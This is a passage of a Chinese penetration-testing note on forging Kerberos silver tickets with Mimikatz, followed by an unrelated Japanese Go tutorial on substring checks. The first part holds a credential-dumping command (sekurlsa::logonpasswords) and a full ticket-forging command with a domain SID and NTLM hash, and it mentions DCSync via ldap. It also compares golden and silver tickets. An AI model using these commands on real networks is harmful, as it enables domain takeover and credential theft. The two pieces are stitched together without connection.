3. /target:目标服务器的域名全称，此处为域控的全称
4. /service：目标服务器上面的kerberos服务，此处为cifs
5. /rc4：计算机账户的NTLM hash，域控主机的计算机账户
6. /user：要伪造的用户名，此处可用silver测试

`sekurlsa::logonpasswords`导出服务DC$账户的ntlm hash
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/f9a52c2e-438a-3e59-4f29-0ad6c2e5b199.png)

```
kerberos::golden /domain:test.local /sid:S-1-5-21-514356739-3204155868-1239341419 /target:dc.test.local /service:cifs /rc4:9150e40e4ec936a15baf384ca382a3df /user:dc$ /ptt
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/cb1f0cdb-b31f-d08e-cf66-d42405d34902.png)

不仅仅是cifs服务还有其他：
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/ae4aa870-4146-f7ff-4003-5b56eb5c4028.png)
ldap可以用来dcsync

# 两者区别
白银票据与黄金票据的不同点

1. 访问权限不同
Golden Ticket: 伪造 TGT,可以获取任何 Kerberos 服务权限
Silver Ticket: 伪造 TGS,只能访问指定的服务

2. 加密方式不同
Golden Ticket 由 krbtgt 的 Hash 加密
Silver Ticket 由服务账号(通常为计算机账户)Hash 加密

3. 认证流程不同
Golden Ticket 的利用过程需要访问域控,而 Silver Ticket 不需要

# 参考
1. [域渗透——Pass The Ticket](https://wooyun.js.org/drops/%E5%9F%9F%E6%B8%97%E9%80%8F%E2%80%94%E2%80%94Pass%20The%20Ticket.html)
2. https://adsecurity.org/?p=2011
3. http://sh1yan.top/2019/06/03/Discussion-on-Silver-Bill-and-Gold-Bill/
【Golang】文字列の中に特定の文字列が含まれているかをチェックする

## 概要

以下のような変数に特定の文字列が含まれているかをチェックする方法をメモしておく

```go
package main

func main(){
  str := "abcde"
}
```

基本的には`strings`パッケージを使うことになるが、二つ方法がある

## strings.Index

特定文字列が文字列の何文字目にあるかをチェックするメソッドだが特定文字列が含まれない場合は`-1`を返すのでそれを利用する

```go
package main

import (
  "fmt"
  "strings"
)

func main(){
  str := "abcde"
  fmt.Print(strings.Index(str, "fg"))
  // 結果：-1
}
```

## strings.Contains

strings.Indexを紹介したが、こちらはboolで返してくれるので基本的にはこっちを使用することになると思う

```go
package main

import (
  "fmt"
  "strings"
)

func main(){
  str := "abcde"
  fmt.Print(strings.Contains(str, "fg"))
  // 結果：false
}
```